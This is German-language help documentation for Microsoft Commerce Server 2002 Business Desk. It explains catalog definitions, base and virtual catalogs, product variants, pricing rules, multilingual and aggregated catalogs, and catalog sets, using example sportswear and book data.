Eine Abbildung, die den Ablauf bei der Erstellung eines virtuellen Katalogs illustriert. Importieren einer CSV-KatalogdateiAktualisieren und Veröffentlichen eines KatalogsErstellen von Kategorie- und ProduktbeziehungenErstellen von KategoriehierarchienPreisfestsetzung auf ProduktvariantenebeneHinzufügen von Produktvarianten zu einem ProduktPreisberechnungHinzufügen eines ProduktsPreisberechnung für Produkte in einer KategorieHinzufügen einer Kategorie zu einem KatalogErstellen eines KatalogsHinzufügen von KategoriedefinitionenHinzufügen von ProduktdefinitionenHinzufügen von EigenschaftsdefinitionenImportieren einer XML-Katalogdatei


Workflow für das Erstellen eines virtuellen Katalogs

Die nachfolgende Abbildung veranschaulicht den Workflow für das Erstellen eines virtuellen Katalogs. Nachdem Sie den Inhalt eines virtuellen Katalogs geändert haben (beispielsweise zur Anpassung von Preisregeln oder zum Ändern der Ein- und Ausschlussregeln), müssen Sie den Katalog neu erstellen.

Eine Abbildung, die den Ablauf bei der Erstellung eines virtuellen Katalogs illustriert. Aktualisieren und Veröffentlichen eines KatalogsErstellen von Kategorie- und ProduktbeziehungenErstellen von KategoriehierarchienPreisnachlässe für ProduktePreisberechnung von Produkten in mehreren WährungenHinzufügen von Preisregeln zu einem virtuellen KatalogAufnehmen von Basiskatalogen in einen virtuellen KatalogErstellen eines virtuellen Katalogs


Informationen zu Katalogen

Ein Katalog bietet Möglichkeiten zum Organisieren der zu verkaufenden Produkte. Kataloge verwenden Sie zum Bearbeiten und Verwalten der in Ihrer Datenbank gespeicherten Produktdaten zum Zwecke der Anzeige in Ihrer Site sowie zum Abstimmen des Produktangebots auf die Benutzer.

Um Ihnen das Organisieren Ihrer Kataloge zu erleichtern, führt Commerce Server Business Desk eine Beschreibung der für die einzelnen Kataloge in einer Katalogdefinition definierten Eigenschaften. In der Definition sind alle Kategorien, Produkte und Eigenschaften aufgeführt, die in dem Katalog enthalten sind.

Dieser Abschnitt beinhaltet folgende Themen:

  • Verwenden von Katalogen bei der Websiteverwaltung
  • Eine Übersicht über die Struktur von Katalogen
  • Kataloge: Produkte und Kategorien
  • Die Katalogdefinition: Eine Beschreibung von Produkten und Kategorien
  • Eindeutige Bezeichner in Katalogen
  • Kataloghierarchien und -beziehungen
  • Basiskataloge und virtuelle Kataloge
  • Kataloge von mehreren Lieferanten
  • Aggregierte Kataloge
  • Mehrsprachige Kataloge
  • Externe Kataloge: Verwenden von Verbindungsschlüsseln
  • Katalogsätze
  • Methoden zur Produktpreisberechnung


Verwenden von Katalogen bei der Websiteverwaltung

Mithilfe der Katalogmodule in Commerce Server Business Desk können Sie Kataloge erstellen und verwalten. Mit anderen Business Desk-Modulen können Sie Ihre Katalogprodukte promoten. Wenn sich Ihre Site z. B. in der Produktion befindet, können Sie mit den Analysemodulen Berichte ausführen, um die Produkte zu erfassen, die sich nicht gut verkaufen. Anschließend können Sie mit den Kampagnenmodulen eine Preisnachlasskampagne erstellen, um den Absatz dieser Produkte zu erhöhen.

Business Desk ermöglicht die folgenden Aktionen:

  • Importieren von Katalogen aus anderen Datenquellen. Sie können Kataloge im CSV- oder XML-Format aus externen Quellen importieren. Wenn Sie beispielsweise über Kataloge in anderen Datenbanken verfügen, können Sie diese in die Katalogdatenbank von Commerce Server importieren und dann mit Business Desk verwalten.

    Zur Konvertierung von Katalogen in das XML- oder CSV-Format können Sie die Kataloge entweder mit Ihrem vorhandenen Datenbankverwaltungssystem im XML- bzw. CSV-Format speichern oder einen Siteentwickler ein Skript schreiben lassen, das die Kataloge automatisch konvertiert.

  • Exportieren von Katalogen. Sie können Ihre Kataloge im XML-Format exportieren. Wenn Sie beispielsweise als Großhändler Produkte verkaufen, bietet es sich an, Ihre Kataloge für Einzelhändler zu exportieren. Sie haben auch die Möglichkeit, einen Katalog in eine andere Anwendung zu exportieren, z. B. in ein Lagerbestands- oder Preisfestlegungssystem.

    Wenn Sie den Import und Export von Katalogen in Commerce Server zeitlich planen möchten, kann ein Siteentwickler diese Funktion bereitstellen.

  • Anwenden von Preisnachlässen auf Produkte. Sie können Preisnachlässe auf alle Produkte in einer Kategorie oder nur auf solche Produkte anwenden, die bestimmte Kriterien erfüllen. Beispiel: Bei Produkt.Preis > 20,00 können Sie festlegen, dass ein Preisnachlass von 10 % auf den Preis angewendet wird, sobald Benutzer das entsprechende Produkt zu ihrem Warenkorb hinzufügen.
  • Bearbeiten von Produkten im Katalog. Sie haben die Möglichkeit, gegebenenfalls Produktname, -preis, -beschreibung und andere Produkteigenschaften zu ändern.
  • Aktualisieren von Produktinformationen in Echtzeit. Sie können Produktinformationen, z. B. den Produktpreis, aktualisieren und die Änderungen sofort in Ihrer Website veröffentlichen. Wenn Benutzer beispielsweise ein Produkt zu ihren Warenkörben hinzugefügt haben und Ihre Site aktualisiert wird, bevor sich die Benutzer abmelden, wendet Commerce Server den neuen Preis auf die Produkte in den Warenkörben an. Wenn die Benutzer ihre Warenkörbe gespeichert haben und dann nach der Preisaktualisierung zu den Warenkörben zurückkehren, wird bereits der neue Preis angezeigt.
  • Identifizieren der Produkte, die sich gut verkaufen. Führen Sie Commerce Server-Berichte aus, um die bestverkauften Produkte bzw. Kategorien nach verkauften Einheiten und Gesamtverkäufen zu ermitteln. Die Analyseergebnisse können Sie z. B. zur Anwendung von Preisnachlässen auf Produkte verwenden, die sich nicht gut verkaufen, oder um Zubehör für erfolgreiche Produkte zu promoten. Außerdem kann Ihr Siteentwickler die Site anpassen, um verwandte Verkaufstypen wie Up-Selling und Cross-Selling zu unterstützen.
  • Suche nach Produkten. Produkte lassen sich über eine Eigenschafts- oder Freitextsuche finden.

In der folgenden Abbildung erhalten Sie einen Überblick über die zur Berichterstellung benötigten Prozesse des Produktkatalogsystems zum Importieren und Exportieren von Katalogen, Aktualisieren der Katalogdatenbank und Importieren der Katalogdaten ins Data Warehouse.

Übersicht über das Produktkatalogsystem

Siehe auch

Importieren einer XML-Katalogdatei

Importieren einer CSV-Katalogdatei

Exportieren eines Katalogs

Preisnachlasskonzepte

Erstellen eines Preisnachlasses

Preisnachlässe für Produkte in einem virtuellen Katalog

Aktualisieren und Veröffentlichen eines Katalogs


Eine Übersicht über die Struktur von Katalogen

Ein Commerce Server 2002-Katalog setzt sich aus drei Hauptteilen zusammen:

  • Katalogdefinition. Eine Beschreibung der Kategorien und Produkteigenschaften für einen Katalog. In der Definition sind alle Kategorien, Produkte und Eigenschaften aufgeführt, die in dem Katalog zulässig sind. Die Katalogdefinition ist für alle Kataloge in einer Site verfügbar.
  • Basiskatalog. Eine einzelne Instanz der Katalogdefinition, die Daten enthält.
  • Virtueller Katalog. Ein Katalog, von dem die Produktdaten in einem oder mehreren Basiskatalogen referenziert werden. Produkte sind in der Datenbank immer nur einmal vorhanden, unabhängig davon, in wie vielen virtuellen Katalogen sie auftauchen.

Die folgende Tabelle zeigt ein Beispiel für eine Katalogdefinition ("Kleidung") sowie eine einzelne Instanz der Kleidungskatalogdefinition mit Daten des Sportbekleidungskatalogs.

Katalogdefinition Basiskatalog: Sportbekleidung
Kategoriedefinition: Abteilung
Kategorieeigenschaften
Name
Beschreibung
Image_filename
Image_width
Image_height
 Kategorie: Sporttrikotabteilung

Sporttrikotabteilung
Katalog für Sporttrikots 2002
Sports_shirts.gif
100
200
Produktdefinition: Trikots
Produkteigenschaften:
Name
Hersteller
Preis
Produktvarianteneigenschaften:
Größe
Farbe
SKU
 Produkt: Ass-Fußballtrikot

Ass-Fußballtrikot
Ass-Trikots
20,00 €

M
Grün
23354

Zum besseren Verständnis der Commerce Server-Kataloge wird in den folgenden Themen näher auf Kataloge eingegangen. Im einzelnen geht es dabei zunächst um die angezeigten Inhalte von Websites (beispielsweise den Sportbekleidungskatalog) und die zu Grunde liegenden Strukturen, d. h. die Katalogdefinition.

Siehe auch

Basiskataloge und virtuelle Kataloge

Die Katalogdefinition: Eine Beschreibung von Produkten und Kategorien

Kataloge: Produkte und Kategorien


Kataloge: Produkte und Kategorien

Ein Commerce Server-Katalog ist eine Instanz einer Katalogdefinition. Er enthält die Daten einzelner Produkte und die Kategorien, in denen diese organisiert sind. Zur Erstellung eines Katalogs können Sie mithilfe der Katalogmodule in Commerce Server Business Desk entweder einen externen Katalog importieren oder einen neuen Katalog anlegen. Anschließend veröffentlichen Sie den Katalog in Ihrer Website.

Der Katalog

Kategorien

Produkte

Produktfamilien und Produktvarianten

Der Katalog

Ein Katalog besteht aus Kategorien, Produkten, Produktvarianten und Eigenschaften. Benutzer, die Ihre Website besuchen, navigieren durch Kategorien, lesen die Produktbeschreibungen und kaufen bestimmte Produkte bzw. Produktvarianten. Die Eigenschaften stellen den Benutzern Schlüsselwörter für die Produktsuche zur Verfügung.

Kategorien

Kategorien sind einzelne Instanzen einer Kategoriedefinition. Mit der Kategoriedefinition "Abteilung" lässt sich so z. B. die Kategorie "Fußballtrikots" erstellen.

Jede Kategorie und jedes Produkt kann über eine primäre übergeordnete Kategorie verfügen. Diese primäre übergeordnete Kategorie liefert einen kanonischen Pfad zu einer untergeordneten Kategorie bzw. einem Produkt. Wenn ein Produkt mehreren Kategorien angehört und der Preis auf Kategorieebene festgelegt wird, werden ferner nur die Preise aus der primären übergeordneten Kategorie auf die untergeordneten Kategorien und Produkte angewandt. (Sie können entweder einen Preis auf Kategorieebene festsetzen oder die Preisregel eines virtuellen Katalogs auf die Kategorie anwenden.)

Produkte

Produkte sind einzelne Artikel in Ihrem Katalog. Ein Produkt wird über eine Kombination aus Eigenschaftsdefinitionen definiert. Beispiel: Es gibt die Produktdefinition "Fußballtrikots" mit den Eigenschaften "Name", "Farbe" und "Größe". Für jede Kombination dieser Eigenschaften, die in Ihrem Katalog enthalten sein soll, erstellen Sie nun ein Produkt.

Produktfamilien und Produktvarianten

Eine Produktfamilie ist ein Produkt, das Produktvarianten enthält. Sonst unterscheidet sich eine Produktfamilie nicht von einem Produkt.

In der Abbildung im nachstehenden Thema Die Katalogdefinition: Eine Beschreibung von Produkten und Kategorien handelt es sich bei Ass-Fußballtrikots um eine Produktfamilie, die einen Trikottyp in allen Kombinationen aus verfügbaren Farben und Größen beinhaltet. Jede Kombination aus Art, Größe und Farbe ist eine Produktvariante. Ein grünes Trikot in L mit der SKU (Lagerhaltungsnummer) 115 ist eine Produktvariante des Produkts Fußballtrikot, d. h., zusammen bilden Größe, Farbe und SKU eine Variante.

Eine Produktfamilie hat immer einen eindeutigen Bezeichner, z. B. den Namen des Produkts.

Eine Produktvariante beinhaltet immer einen eindeutigen Bezeichner, z. B. die SKU, und einen Preis. Die einzelnen Produktvarianten basieren auf derselben Produktdefinition.

Siehe auch

Basiskataloge und virtuelle Kataloge

Aggregierte Kataloge

Mehrsprachige Kataloge

Katalogsätze

Erstellen eines Basiskatalogs

Namens- und Größenbeschränkungen für Kataloge

Eindeutige Bezeichner in Katalogen


Die Katalogdefinition: Eine Beschreibung von Produkten und Kategorien

Die Katalogdefinition beschreibt die Eigenschaften der Kategorien und Produkte in einem bestimmten Katalogtyp. In der Katalogdefinition eines Sportbekleidungskatalogs könnten beispielsweise folgende Produkte definiert sein: Trikots, Hosen und Schuhe. Zur Erstellung einer Katalogdefinition können Sie das Modul "Katalogdefinitions-Designer" von Commerce Server Business Desk verwenden.

Die folgende Abbildung zeigt Teile einer Katalogdefinition und wie diese den Teilen eines Katalogs zugeordnet sind. Eigenschaften werden in Kategorie- und Produktdefinitionen verwendet. Die Kategoriedefinition "Abteilung" wird für die Kategorie "Fußballtrikots" verwendet. Die Produktdefinition "Fußballtrikot" wird für das Produkt "Ass-Fußballtrikot" verwendet.

Teil einer Katalogdefinition

Die Katalogdefinition

Kategoriedefinitionen

Produktdefinitionen

Eigenschaftsdefinitionen

Die Katalogdefinition

Die Katalogdefinition besteht aus Kategoriedefinitionen, Produktdefinitionen und Eigenschaftsdefinitionen. Kategorie- und Produktdefinitionen werden mithilfe von Eigenschaftsdefinitionen erstellt.

Die folgende Abbildung zeigt die Elemente einer Beispielkatalogdefinition.

Beispiel einer Katalogdefinition

Die Katalogdefinition können Sie auch dann bearbeiten, wenn ein Katalog bereits Daten enthält. Sie können die folgenden Aktionen durchführen:

  • Umbenennen einer Produkt- oder einer Kategoriedefinition
  • Ändern der Eigenschaften, die in einer Kategoriedefinition oder Produktdefinition enthalten sind

Folgende Aktionen sind nicht möglich:

  • Umbenennen einer Eigenschaftsdefinition
  • Ändern des Datentyps einer Eigenschaft, beispielsweise von einer Zahl in eine Zeichenfolge.

Kategoriedefinitionen

Kategoriedefinitionen beschreiben die jeweiligen Merkmale der Katalogkategorien. Diese Merkmale werden Kategorieeigenschaften genannt. Kategoriedefinitionen werden durch Zuweisung von Kategorieeigenschaften erstellt. Die Abteilungskategoriedefinition könnte beispielsweise folgende Kategorieeigenschaften besitzen: Name, Beschreibung, Bilddateiname, Bildhöhe und Bildbreite. Zur Erstellung einer Kategorie basierend auf der Abteilungskategoriedefinition geben Sie Werte für die Kategorieeigenschaften ein. So könnte z. B. "Sporttrikotabteilung" die Namenskategorieeigenschaft sein.

Produktdefinitionen

Produktdefinitionen beschreiben die jeweiligen Merkmale eines bestimmten Produkts. Diese Merkmale werden Produkteigenschaften genannt. Produktdefinitionen werden durch Zuweisung von Produkteigenschaften erstellt. Beispielsweise könnten Sie eine Produktdefinition mit der Bezeichnung "Trikot" erstellen, die folgende drei Produkteigenschaften enthält: Name, Hersteller und Preis. Zur Erstellung eines Produkts basierend auf der Trikot-Produktdefinition geben Sie Werte für die Produkteigenschaften ein. So könnte z. B. "Ass-Fußballtrikot" die Namensprodukteigenschaft sein.

Eigenschaftsdefinitionen

Sowohl Produkt- als auch Kategorieeigenschaften basieren auf Eigenschaftsdefinitionen. Eine Eigenschaftsdefinition enthält Informationen über die Eigenschaft, wie etwa den Datentyp, die Eigenschaft (z. B. Zahl, Text, mehrsprachiger Text oder Dezimal), den Namen der Eigenschaft und den Mindestwert der Eigenschaft. Sie können beispielsweise eine Eigenschaft namens "Trikotgröße" mit den Werten "S", "M" und "L" oder eine Eigenschaft namens "Länge" mit einem Mindestwert von 10 und einem Höchstwert von 120 erstellen.

Siehe auch

Erstellen einer Katalogdefinition

Kataloge: Produkte und Kategorien

Namens- und Größenbeschränkungen für Kataloge

Empfohlene Vorgehensweisen für Kataloge


Eindeutige Bezeichner in Katalogen

Bei der Erstellung eines Basiskatalogs bestimmen Sie, welche Eigenschaften als eindeutige Bezeichner für Produkte und Produktvarianten dienen sollen. Sowohl Produkte als auch Produktvarianten haben eindeutige Bezeichner. Diese eindeutigen Bezeichner bestehen entweder aus einer Text- oder Nummerneigenschaft.

Hinweis

  • In einem virtuellen Katalog lautet die Produkt-ID immer "ProductID" und die Varianten-ID immer "VariantID". Bei der Erstellung eines virtuellen Katalogs müssen Produkt- und Varianten-ID jedoch nicht angegeben werden.

Bei einem Bücherkatalog beispielsweise wäre der Buchtitel der eindeutige Bezeichner des Buches, und die ISBN-Nummer könnte der eindeutige Bezeichner für die Produktvariante sein. Für das Buch The Quest Ahead wären die gebundene Ausgabe, die Taschenbuchausgabe und die Audiobuchausgabe jeweils eine Variante. Diese drei Produktvarianten sind Teil der Produktfamilie "The Quest Ahead".

Das folgende Beispiel zeigt die Komponenten der Produktfamilie "The Quest Ahead":

Produktfamilie = The Quest Ahead
Eindeutige ID = Titel: The Quest Ahead

Produktvariante = The Quest Ahead (gebundene Ausgabe)
Eindeutige ID = ISBN: 1102334
Preis = 20,00
Produktvariante = The Quest Ahead (Taschenbuch)
Eindeutige ID = ISBN: 1102335
Preis = 10,00
Produktvariante = The Quest Ahead (Audiobuch)
Eindeutige ID = ISBN: 1102336
Preis = 15,00

Eine Liste der empfohlenen Vorgehensweisen für die Vergabe von eindeutigen Bezeichnern finden Sie unter Empfohlene Vorgehensweisen für Kataloge.


Kataloghierarchien und -beziehungen

Während die Katalogdefinition die Struktur angibt, die dem Katalog zu Grunde liegt, werden Kataloghierarchien und -beziehungen erstellt, um die Produkte im Katalog zu organisieren und das Navigieren zu den gewünschten Produkten zu erleichtern. Kategoriehierarchien und -beziehungen können zwischen Kategorien und Produkten aus einem Katalog oder aus verschiedenen Katalogen erstellt werden. Bei einem sehr umfangreichen Katalog können Sie beispielsweise eine übergeordnete Kategorie erstellen, der mehrere unterschiedliche, als untergeordnete Kategorien bezeichnete Kategorien angehören. Wenn Benutzer zur übergeordneten Kategorie navigieren, werden die untergeordneten Kategorien angezeigt. So können Ihre Benutzer schneller zu der Kategorie navigieren, die die gewünschten Produkte enthält.

Primäre übergeordnete Kategorie

Jede Kategorie und jedes Produkt kann über eine primäre übergeordnete Kategorie verfügen. Diese primäre übergeordnete Kategorie liefert einen kanonischen Pfad zu einer untergeordneten Kategorie bzw. einem Produkt. Wenn ein Produkt mehreren Kategorien angehört und der Preis auf Kategorieebene festgelegt wird, werden ferner nur die Preise aus der primären übergeordneten Kategorie auf die untergeordneten Kategorien und Produkte angewandt. (Sie können entweder einen Preis auf Kategorieebene festsetzen oder die Preisregel eines virtuellen Katalogs auf die Kategorie anwenden.)

Die folgende Abbildung zeigt, wie eine übergeordnete Kategorie eine Reihe von untergeordneten Kategorien enthalten kann und wie auch die einzelnen untergeordneten Kategorien ihrerseits wiederum übergeordnete Kategorien sein können.

In der obigen Abbildung verfügt der Sportbekleidungskatalog über zwei Kategorien: Trikots und Hosen. Der Kategorie "Trikots" sind zwei Kategorien untergeordnet: Fußballtrikots und zweiteilige Freizeitanzüge. Über diesen Aufbau können Benutzer zwei Wege zur Kategorie "Zweiteilige Freizeitanzüge" nehmen. Sie können zu den Freizeitanzügen über die Trikots- oder über die Hosenkategorie navigieren.

Die vorige Abbildung zeigt ebenso eine Zubehörbeziehung zwischen Ass-Fußballtrikots und Ass-Fußballshorts. Falls sich Benutzer für die Trikots interessieren, haben sie möglicherweise auch Interesse an den Shorts.

Siehe auch

Erstellen von Kategoriehierarchien

Erstellen von Kategorie- und Produktbeziehungen

Empfohlene Vorgehensweisen für Kataloge

Namens- und Größenbeschränkungen für Kataloge


Basiskataloge und virtuelle Kataloge

Bevor Sie mit der Erstellung oder dem Organisieren von Katalogen beginnen, sollten Sie wissen, dass zwei Arten von Katalogen erstellt werden können: Basiskataloge und virtuelle Kataloge. Die beiden Katalogtypen werden nachfolgend erläutert. Darüber hinaus wird die Arbeit mit virtuellen Katalogen an drei Beispielen demonstriert.

Basiskataloge

Virtuelle Kataloge

Virtueller Katalog – Beispiel 1: Anbieten von Sonderpreisen

Virtueller Katalog – Beispiel 2: Berechnen und Angeben von Produktpreisen in anderen Währungen

Virtueller Katalog – Beispiel 3: Anbieten einer Teilmenge von Produkten

Basiskataloge

Basiskataloge enthalten Kategorien und Produkte, jedoch keine spezifischen Preisberechnungsregeln. Ferner enthalten sie Produktdaten, die in der Katalogdatenbank gespeichert sind.

Virtuelle Kataloge

Virtuelle Kataloge verweisen auf die Produktdaten in einem oder mehreren Basiskatalogen. Wenn Sie einem Basiskatalog ein Produkt hinzufügen, kann es auch im dazugehörigen virtuellen Katalog auftauchen. Das hängt von den Einschlussregeln ab. Die Produkte in einem virtuellen Katalog sind in der Datenbank nur einmal repräsentiert, unabhängig davon, in wie vielen virtuellen Katalogen sie auftauchen.

Es gibt drei wesentliche Verwendungszwecke für virtuelle Kataloge:

  • Zusammenfassen verschiedener Kataloge, die den Benutzern dann als ein Gesamtkatalog angezeigt werden.
  • Das Berechnen und Angeben von Produktpreisen in mehreren Währungen.
  • Anbieten von Sonderpreisen oder speziellen Produkten für bestimmte Benutzergruppen.

Virtuelle Kataloge unterstützen Preisberechnungsregeln. Das heißt, Sie können angeben, ob der Preis für die Kategorie oder das Produkt derselbe Preis wie im Basiskatalog ist (z. B. ein Prozentwert oder ein darüber oder darunter liegender, festgelegter Wert).

Virtueller Katalog – Beispiel 1: Anbieten von Sonderpreisen

In der folgenden Abbildung haben zwei fiktive europäische Firmen – ein Vertreiber von Rädern und ein Motorradgroßhändler – einen Vertrag abgeschlossen. Der Vertreiber der Räder gewährt Kunden des Motorradhändlers beim Kauf von Rädern einen Preisnachlass von 20 Prozent. Alle Produktpreise sind in Euro angegeben.

Beispiel für einen virtuellen Katalog

Virtueller Katalog – Beispiel 2: Berechnen und Angeben von Produktpreisen in anderen Währungen

In der folgenden Abbildung sehen Sie einen virtuellen Katalog mit Produkten aus einem Basiskatalog, deren Preise in Euro angegeben sind. Die Preise im virtuellen Katalog werden mit 0,68 multipliziert und in Schweizer Franken angegeben, wenn die entsprechenden Produkte in der Schweiz verkauft werden.

Beispiel für einen virtuellen Katalog

Virtueller Katalog – Beispiel 3: Anbieten einer Teilmenge von Produkten

Die folgende Abbildung zeigt einen virtuellen Katalog, der eine Teilmenge der Produkte eines Basiskatalogs enthält. Die Teilmenge wird in Frankreich verkauft. Alle Produktpreise sind in Euro angegeben.

Beispiel für einen virtuellen Katalog

Siehe auch

Erstellen eines Basiskatalogs

Erstellen eines virtuellen Katalogs

Preisberechnung von Produkten in mehreren Währungen

Preisnachlässe für Produkte in einem virtuellen Katalog

Aggregierte Kataloge

Mehrsprachige Kataloge

Katalogsätze


Kataloge von mehreren Lieferanten

Sie können Kataloge von mehreren Lieferanten importieren, sie in Ihrer Website als einen Katalog anzeigen, und wenn Benutzer ein Produkt aus dem Katalog erwerben, können Sie die Bestellungen zur Bearbeitung direkt an die jeweiligen Lieferanten weiterleiten.

Jeder Commerce Server-Katalog enthält ein Hersteller-ID-Attribut. Dieses Attribut wird belegt, wenn Ihr Systemadministrator mit Microsoft BizTalk Server eine Handelspartnervereinbarung mit einem Lieferanten einrichtet (und die Ressource "Anwendungsstandardkonfiguration" so konfiguriert, dass die Eigenschaft BizTalk-Optionen auf 1 gesetzt wird). Wenn das Hersteller-ID-Attribut nicht belegt ist, geht Commerce Server davon aus, dass Sie der Lieferant für den betreffenden Katalog sind.

Bei der Integration mit BizTalk Server werden dem betreffenden Hersteller mit dem Hersteller-ID-Attribut automatisch Auftragsbestätigungen für aus dem Katalog erworbene Artikel gesendet. Wenn Ihr Systemadministrator eine Vereinbarung mit einem Lieferanten einrichtet, wird der neue Lieferant in die Dropdownliste der Lieferanten in Commerce Server Business Desk aufgenommen. Aus dieser Liste können Sie den Lieferanten dann auswählen.

Die Implementierung dieses Szenarios erfolgt in zwei Hauptsschritten:

  1. Sie erstellen einen virtuellen Katalog, in dem Sie den Inhalt der Lieferantenkataloge zusammenfassen. Dieser Schritt wird unter Erstellen eines virtuellen Katalogs beschrieben.
  2. Sie integrieren Commerce Server mit BizTalk Server, damit Bestellungen an Ihre Handelspartner weitergeleitet werden. Dieser Arbeitsschritt wird in der Commerce Server 2002-Hilfe unter "Integrating with BizTalk Server" (englisches Thema) erläutert.

Im Folgenden finden Sie eine Übersicht über die Schritte, die Sie und Ihre Lieferanten für den Austausch von Katalogen mit BizTalk Server durchführen müssen:

  1. Installieren und konfigurieren Sie BizTalk Server so, dass Sie Kataloge von Lieferanten empfangen können.
  2. Konfigurieren Sie die Ressource für die Anwendungsstandardkonfiguration so, dass die Eigenschaft BizTalk-Optionen auf den Wert 1 gesetzt wird.
  3. Richten Sie eine Vereinbarung mit einem Lieferanten ein.
  4. Über E-Mail oder BizTalk Server sendet Ihnen der Hersteller die Kataloge, die Sie anschließend mithilfe des Business Desk-Moduls "Katalog-Editor" in Ihre Commerce Server-Katalogdatenbank importieren.
  5. Kataloge können Sie aus Business Desk heraus an Lieferanten senden, indem Sie im Modul "Katalog-Editor" auf der Symbolleiste auf Senden klicken. Es wird ein Dialogfeld angezeigt, in dem die Lieferanten aufgelistet sind, die in BizTalk Server mit Vereinbarungen definiert sind und denen Sie den Katalog zuschicken können.

Dabei können mehrere Kataloge mit dem entsprechenden Hersteller verknüpft werden. Es ist ebenso möglich, Hersteller auf Produktebene anzugeben. Dazu muss jedoch eine Seite Ihrer Website vom Siteentwickler entsprechend angepasst werden (_additem.asp). Informationen zu "customizing _additem.asp" finden Sie unter Commerce Server Solution Sites (englisches Thema) .

Siehe auch

Basiskataloge und virtuelle Kataloge

Aggregierte Kataloge

Mehrsprachige Kataloge

Katalogsätze


Aggregierte Kataloge

Ein aggregierter Katalog enthält den Inhalt mehrerer Kataloge. Wenn Sie also beispielsweise Artikel von mehreren Herstellern verkaufen, von denen Ihnen jeder einen oder mehrere Kataloge schickt, können Sie deren Inhalt zu einem (aggregierten) Katalog zusammenführen.

Zur Aggregierung mehrerer Kataloge erstellen Sie zunächst einen virtuellen Katalog und nehmen ihn dann in den Inhalt der Basiskataloge auf. Dem Benutzer, der Ihre Site besucht, stellt sich ein aggregierter Katalog wie ein einzelner Katalog dar.

Ein aggregierter Katalog unterscheidet sich von einem Katalogsatz darin, dass er sich aus anderen Komponenten zusammensetzt und eine andere Art der Verfügbarkeit bietet. Nachstehend werden einige der Unterschiede erläutert:

  • Ein aggregierter Katalog ist die Kombination mehrerer Kataloge in einem virtuellen Katalog.
  • Ein Katalogsatz ist eine Gruppe aus einem oder mehreren Katalogen, die Sie verschiedenen Benutzern oder Organisationen zur Verfügung stellen. Anschließend können Sie einen Katalogsatz erstellen, der sich aus aggregierten Katalogen und anderen in Ihrer Datenbank vertretenen Katalogen zusammensetzt.

Sie legen fest, welche Benutzer oder Organisationen die Kataloge in einem Katalogsatz einsehen können. Ein aggregierter Katalog kann für alle Benutzer verfügbar sein, sofern er nicht Element eines Katalogsatzes ist.

Siehe auch

Basiskataloge und virtuelle Kataloge

Mehrsprachige Kataloge

Katalogsätze


Mehrsprachige Kataloge

In einem mehrsprachigen Katalog ist der Kategorie- und Produkttext in mehreren Sprachen aufgeführt. Die Angaben könnten beispielsweise in den Sprachen Englisch, Französisch und Japanisch angezeigt werden.

Im Folgenden finden Sie eine Übersicht über die Schritte, die Sie für die Erstellung eines mehrsprachigen Katalogs ausführen müssen:

  1. Hinzufügen einer mehrsprachigen Eigenschaftsdefinition für die Artikel, die in mehreren Sprachen angezeigt werden sollen.

    Die Katalogdefinition schließt standardmäßig einen Satz mit mehrsprachigen Eigenschaften ein. Beispiel:

    • Produktname – Mehrsprachiger Text
    • Beschreibung – Mehrsprachiger Text
    • Farbe – Mehrsprachige Auswahl
  2. Hinzufügen von Produktdefinitionen, in denen die mehrsprachigen Eigenschaften verwendet werden. Beispielsweise können Sie jeder Produktdefinition die Eigenschaften "Produktname", "Beschreibung" und "Farbe" zuweisen.
  3. Erstellen eines Katalogs und Eingeben der Sprachen, die der Katalog unterstützen soll (z. B. Englisch, Französisch und Japanisch).
  4. Hinzufügen von Produkten und Kategorien, die über diese mehrsprachigen Eigenschaften verfügen (z. B. Produktname und Beschreibung).
  5. Übersetzen der mehrsprachigen Produkte und Kategorien in die vom Katalog unterstützten Sprachen. Für das Übersetzen des Katalogs stehen Ihnen folgende Möglichkeiten zur Verfügung:
    • Übersetzen eines Katalogs durch Exportieren/Importieren. Wenn die Namen vieler Produkte übersetzt werden müssen, exportieren Sie den Katalog mit dem Katalog-Editor-Modul als XML und schicken ihn dann einem Übersetzer. Nach erfolgter Übersetzung reimportieren Sie den Katalog in die von Commerce Server verwendete Katalogdatenbank. Anschließend können Sie den Katalog gegebenenfalls mit Commerce Server Business Desk aktualisieren und veröffentlichen.
    • Übersetzen eines Katalogs mit Business Desk. Wenn nur die Namen einiger Produkte übersetzt werden müssen, geben Sie die Produktdaten im Katalog-Editor-Modul von Hand in der anderen Sprache ein.

Siehe auch

Preisberechnung von Produkten in mehreren Währungen

Hinzufügen einer mehrsprachigen Eigenschaftsdefinition für einen Katalog

Hinzufügen einer Katalogproduktdefinition

Erstellen eines Basiskatalogs

Hinzufügen eines Produkts zu einem Katalog

Hinzufügen einer Kategorie zu einem Katalog

Übersetzen eines Katalogs durch Exportieren/Importieren

Übersetzen eines Katalogs mit Business Desk


Externe Kataloge: Verwenden von Verbindungsschlüsseln

Die Unterstützung von Verbindungsschlüsseln ist in Commerce Server 2002 ein neues Feature. Verbindungsschlüssel werden von Entwicklern verwendet, um externe Tabellen zum Abrufen von Bestandsdaten zur Laufzeit und zum Zuweisen mehrerer Werte zu einem Produkt zu verknüpfen.

Zwei häufige Szenarios für die Verwendung von Verbindungsschlüsseln sind:

  • Der Abruf flüchtiger Katalogdaten zur Laufzeit (z. B. Bestandsdaten). Bestandsdaten sollten Sie nicht in den Katalog selbst aufnehmen, da die Site nie in die Katalogdatenbank schreibt. Um den Netzwerklastenausgleich (NLB) einsetzen zu können, muss die Katalogdatenbank außerdem schreibgeschützt sein.
  • Das Verknüpfen mehrerer Werte mit einem Produkt (z. B. eine Liste mit Songtiteln für eine CD, eine Besetzungsliste für einen Filmtitel oder eine Liste mit Kundenbewertungen für ein Produkt).

Die folgende Abbildung zeigt, wie Verbindungsschlüssel zum Abrufen der Daten aus einer externen Tabelle und der Commerce Server-Katalogdatenbank verwendet werden.

Beispiel für Verbindungsschlüssel


Katalogsätze

Welche Kataloge Benutzer in Ihrer Site sehen, bestimmen Sie durch Erstellung von Katalogsätzen. Ein Katalogsatz ist eine Gruppe von einem oder mehreren Katalogen, die Sie verschiedenen Benutzern oder Organisationen zur Verfügung stellen.

Ein Katalogsatz unterscheidet sich von einem aggregierten Katalog darin, dass er sich aus anderen Komponenten zusammensetzt und eine andere Art der Verfügbarkeit bietet. Nachstehend werden einige der Unterschiede erläutert:

  • Ein aggregierter Katalog ist die Kombination mehrerer Kataloge in einem virtuellen Katalog.
  • Ein Katalogsatz ist eine Gruppe von einem oder mehreren Katalogen, die Sie verschiedenen Benutzern oder Organisationen zur Verfügung stellen. Anschließend können Sie einen Katalogsatz erstellen, der sich aus aggregierten Katalogen und anderen in Ihrer Datenbank vertretenen Katalogen zusammensetzt.

